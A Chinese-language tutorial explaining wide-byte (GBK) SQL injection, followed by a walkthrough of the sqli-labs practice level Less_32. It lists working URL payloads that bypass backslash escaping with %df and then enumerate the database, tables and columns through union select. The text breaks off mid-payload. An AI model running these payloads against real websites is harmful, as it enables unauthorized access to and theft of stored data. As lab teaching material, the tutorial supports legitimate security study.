宽字节注入
什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
- 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
- 英文默认占一个字节,中文占两个字节
宽字节注入原理
sql注入很关键的一步就是让引号闭合和跳出引号,如果无法跳出引号,那么你输入的内容就永远在引号里,你输出的内容就永远都是字符串
php里面有个转义符\
对输入的敏感信息和特殊字符进行转义
就是的单引号'
被转义后变成了\'
那么我们输入的内容被转义后就之被当作了一个字符串,无法实现包裹字符串的作用了,所以宽字节注入就是让转义失去转义的作用
\
转义符通过编码为%5c
,找到另一半让他们组成一个新的字符%df%5c
就行了
%df
与反斜杠的 URL 编码 %5C
闭合,从而构成 GBK 国标码中的汉字“連”,使得用于转义的反斜杠被我们“吃掉”了。
Less_32
可以看到虽然输入?id=1'
的时候页面没有报错,但是可以看到我们的单引号是被转义掉了的
在使用单引号的时候使用宽字节注入即可
?id=1%df' order by 4--+
?id=-1%df' union select 1,database(),3--+
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
注意此处数据库名要用十六进制 (HEX) 编码替代,避免单引号的使用。
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
?id=-1%df' union select 1,group